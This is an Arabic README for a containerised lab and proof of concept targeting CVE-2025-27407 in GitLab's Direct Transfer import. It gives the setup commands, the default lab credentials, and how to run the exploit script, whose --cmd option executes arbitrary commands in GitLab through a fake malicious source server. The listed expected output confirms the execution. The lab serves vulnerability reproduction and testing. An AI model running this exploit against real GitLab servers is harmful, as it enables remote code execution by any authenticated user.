
مختبر محلي وإثبات مفهوم لاستغلال CVE-2025-27407، يستهدف محمّل مخطط GraphQL introspection في GitLab عبر مسار Direct Transfer HTTP. يتضمن بيئة حاوية وبرنامج تشغيل تلقائي.
مختبر محلي مصغّر لإثبات أن مسار GitLab Direct Transfer عبر بروتوكول HTTP يصل إلى مُحمّل مخطط الاستبطان (introspection schema loader) الضعيف في graphql-ruby. يشغّل المختبر حاوية GitLab CE ضعيفة واحدة؛ ويبدأ سكربت الإثبات (PoC) خادم مصدر GitLab المزيّف الخاص به داخل العملية فقط أثناء الاختبار.
شغّل هذا فقط ضد أنظمة تملكها أو مُصرّح لك صراحةً باختبارها.
| الملف | الغرض |
|---|
lab.sh | يبدأ، وينتظر، ويتحقق، وينظّف مختبر GitLab. |
poc_host_port_cmd.py | إثبات (PoC) لمرة واحدة: خادم مصدر مزيّف + تشغيل تسجيل الدخول/الإعداد/الاستيراد في GitLab. |
podmancurlالقيم الافتراضية:
| العنصر | الافتراضي |
|---|---|
| صورة GitLab | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
| حاوية GitLab | cve-27407-gitlab |
| شبكة Podman | cve-2025-27407-net |
| مستخدم root في GitLab | root |
| كلمة مرور root في GitLab | Cve27407Password! |
| العلامة | /tmp/cve_2025_27407_gitlab_marker |
المنفذ 8080 هو الافتراضي في السكربت. إذا كان منفذ آخر يستخدمه بالفعل، استخدم 18080 كما هو موضح هنا.
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
افتح GitLab على:
http://127.0.0.1:18080
بيانات تسجيل الدخول:
root / Cve27407Password!
root هو مستخدم المختبر الافتراضي فقط. مشغّل الإثبات (PoC) لا يتطلب حساب مسؤول؛ أي مستخدم مُصادَق يمكنه الإنشاء/الاستيراد في نطاق وجهة يمكنه الوصول إلى مسار Direct Transfer الضعيف. استخدم --username و --password للاختبار بمستخدم غير مسؤول.
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
الإشارات المتوقعة:
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
| الخيار | الغرض | الافتراضي |
|---|---|---|
--host | مضيف GitLab المستهدف | مطلوب |
--port | منفذ HTTP الخاص بـ GitLab المستهدف | مطلوب |
--cmd | الأمر الذي يتم تنفيذه في بيئة GitLab | touch /tmp/cve_2025_27407_gitlab_marker |
--listen-port | منفذ خادم المصدر المزيّف المحلي | 8001 |
--wait-seconds | مدة إبقاء المصدر المزيّف نشطًا لعمال GitLab غير المتزامنين | 90 |
--username | اسم مستخدم GitLab | root |
--password | كلمة مرور GitLab | Cve27407Password! |
| المتغير | الغرض | الافتراضي |
|---|---|---|
GITLAB_HTTP_PORT | منفذ HTTP الخاص بـ GitLab على المضيف/الحاوية | 8080 |
GITLAB_SSH_PORT | منفذ SSH الخاص بـ GitLab على المضيف | 2224 |
GITLAB_ROOT_PASSWORD | كلمة مرور root الأولية | Cve27407Password! |
GITLAB_IMAGE | صورة GitLab المراد تشغيلها | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
NETWORK | اسم شبكة Podman | cve-2025-27407-net |
MARKER | الملف الذي يتم فحصه داخل حاوية GitLab | /tmp/cve_2025_27407_gitlab_marker |
TIMEOUT_SECONDS | مهلة انتظار الجاهزية | 1200 |
8080 مشغولًا، استخدم GITLAB_HTTP_PORT=18080 مع ./lab.sh up.--listen-port إلى منفذ غير مستخدم.--wait-seconds أو أعد تشغيل MARKER="$MARKER" ./lab.sh verify.GITLAB_HTTP_PORT=18080 ./lab.sh wait../lab.sh cleanup وابدأ من جديد../lab.sh cleanup
يزيل هذا حاوية GitLab، وأي حاوية مصدر مزيّف قديمة من إصدارات المختبر السابقة، وشبكة المختبر. لا يزيل صور Podman التي تم تنزيلها.